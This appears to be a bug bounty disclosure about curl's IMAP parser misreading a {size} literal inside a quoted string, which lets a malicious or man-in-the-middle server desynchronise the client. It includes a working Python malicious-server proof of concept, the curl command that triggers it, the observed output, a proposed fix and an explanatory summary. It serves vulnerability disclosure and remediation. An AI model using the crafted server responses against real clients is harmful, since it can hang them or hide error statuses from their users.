IMAP Protocol Desynchronization and Response Smuggling via Naive Literal Parsing
curl's IMAP parser treats a literal size marker inside a quoted string as a real protocol literal, so the client state machine desynchronises from the server. A malicious or man-in-the-middle IMAP server could make curl swallow status responses as message data, causing hangs or response smuggling.
- Disclosed after 26 hours
libcurl incorrectly parses IMAP literals ({size}) even when they are embedded within quoted strings (e.g., email subjects or headers). This behavior violates RFC 3501, which mandates that content inside double quotes must be treated as opaque text.
This parsing error causes the client state machine to desynchronize from the server. An attacker controlling an IMAP server (or injecting data via a Man-in-the-Middle attack) can exploit this to force curl to interpret protocol commands as message body data, or conversely, interpret message body data as protocol commands.
Vulnerability Details
Root Cause
The vulnerability exists in lib/imap.c, specifically within the function handling imap_state_fetch_resp.
The parser scans for the start of a literal using a naive memory search that does not respect quoted string boundaries:
/* Pseudocode representation of the flaw */
ptr = memchr(line, '{', len);
if(ptr) {
/* Logic proceeds to parse number inside {} without checking if inside quotes */
}
RFC Violation
According to RFC 3501 Section 4.3 (String):
A string is in one of two forms: literal and quoted string. A quoted string is a sequence of zero or more 7-bit characters, excluding CR and LF, with double quote (<">) characters at each end.
If a { character appears inside a quoted string, it is content data, not a protocol delimiter. curl fails to respect this distinction.
Attack Scenario
- Setup: A user connects to a malicious or compromised IMAP server using curl.
- Trigger: The server sends a FETCH response containing a header with a crafted literal pattern inside quotes:
* 1 FETCH (BODY[HEADER] "Subject: {50} Injection")
3. Desynchronization:
- Correct Client: Sees a subject string containing
{50}. - curl: Sees a literal marker
{50}. It immediately switches to "binary read" mode, expecting 50 bytes of raw data.
- Exploit: The server sends the next IMAP tag (e.g.,
A001 OK FETCH COMPLETE). - Result: curl consumes the status response as part of the "50 bytes of data" and hangs or processes subsequent lines incorrectly ("Response Smuggling").
Proof of Concept
I have provided a Python script that simulates a malicious IMAP server. It handles the initial LOGIN handshake to ensure the client reaches the vulnerable FETCH state.
**1. malicious_server.py**
import socket
HOST = '127.0.0.1'
PORT = 1433
def start_server():
print(f"[*] Malicious IMAP server listening on {PORT}")
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen()
conn, addr = s.accept()
with conn:
print(f"[*] Connection from {addr}")
# Send initial greeting
conn.sendall(b"* OK IMAP4rev1 Ready\r\n")
while True:
data = conn.recv(1024)
if not data:
break
line = data.decode(errors="ignore").strip()
print(f"[Client] {line}")
parts = line.split()
if not parts: continue
tag = parts[0]
# LOGIN command handler
if "LOGIN" in line.upper():
conn.sendall(f"{tag} OK Login completed\r\n".encode())
# TRIGGER: When FETCH is requested
elif "FETCH" in line.upper():
print("[*] Sending malicious payload...")
# We inject {50} inside quotes.
# curl will think 50 bytes of data are coming.
payload = b'* 1 FETCH (BODY[HEADER] "Subject: {50} Fake Literal")\r\n'
conn.sendall(payload)
# This OK response will be SWALLOWED by curl as body data
conn.sendall(f"{tag} OK Fetch completed\r\n".encode())
print("[*] Payload sent. Closing connection.")
return
else:
conn.sendall(f"{tag} OK {parts[1]} completed\r\n".encode())
if __name__ == "__main__":
start_server()
2. Steps to Reproduce
- Run the server:
python3 malicious_server.py - Run curl in a separate terminal:
curl -v "imap://127.0.0.1:1433/INBOX;UID=1" -u user:pass -X "FETCH 1 BODY[]"
3. Observed Output (curl -v)
< * 1 FETCH (BODY[HEADER] "Subject: {50} Fake Literal")
* Found 50 bytes to download <-- BUG: curl parses {50} inside quotes as a literal size
* 50 bytes of data are read...
* (curl hangs or swallows the subsequent OK response)
Recommended Fix
Modify the scanning logic in lib/imap.c. The parser must be state-aware:
- Iterate through the response line character by character.
- Toggle a boolean flag
in_quotewhen encountering unescaped"characters. - Only evaluate
{as a literal start indicator ifin_quoteis FALSE.
Impact
Impact
- Protocol Confusion: The client state desynchronizes from the server state.
- Response Smuggling: A malicious server can cause the client to skip validation of status codes (e.g., hiding a
NOorBADresponse by making curl consume it as "literal data"). - Data Injection: In a pipelined context, this could lead to cache poisoning or processing incorrect message content.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The IMAP response parser searches for a literal size marker with a naive memory search that does not track whether the character sits inside a quoted string, contrary to RFC 3501.
Impact
A malicious or man-in-the-middle IMAP server could desynchronise curl's state, hide error statuses by having them read as data, and in a pipelined context potentially cause cache poisoning or processing of incorrect message content.
What the attacker needed
Curl connects to a malicious IMAP server; or a man-in-the-middle controls the traffic
The fix
The parser should be made state-aware, tracking whether it is inside a quoted string and only treating a brace as a literal marker when it is not.
How it was found
- Run the malicious IMAP server script that greets the client and answers LOGIN.
- Run curl against the server requesting a FETCH of a message body.
- The server replies to the FETCH with a header line containing a literal marker inside a quoted subject.
- curl treats the marker as a real literal and waits for that many bytes of data.
- The server's following status line is consumed as body data, so curl hangs or misreads later lines.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
IMAP is the protocol email clients use to read mail from a server. Servers and clients exchange lines of text, and a size marker in curly brackets tells the client that a block of raw data follows. curl was looking for that marker even when it appeared inside a quoted piece of text, so it started reading data that was never sent and got out of step with the server.
What is Smuggling / CRLF?
A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.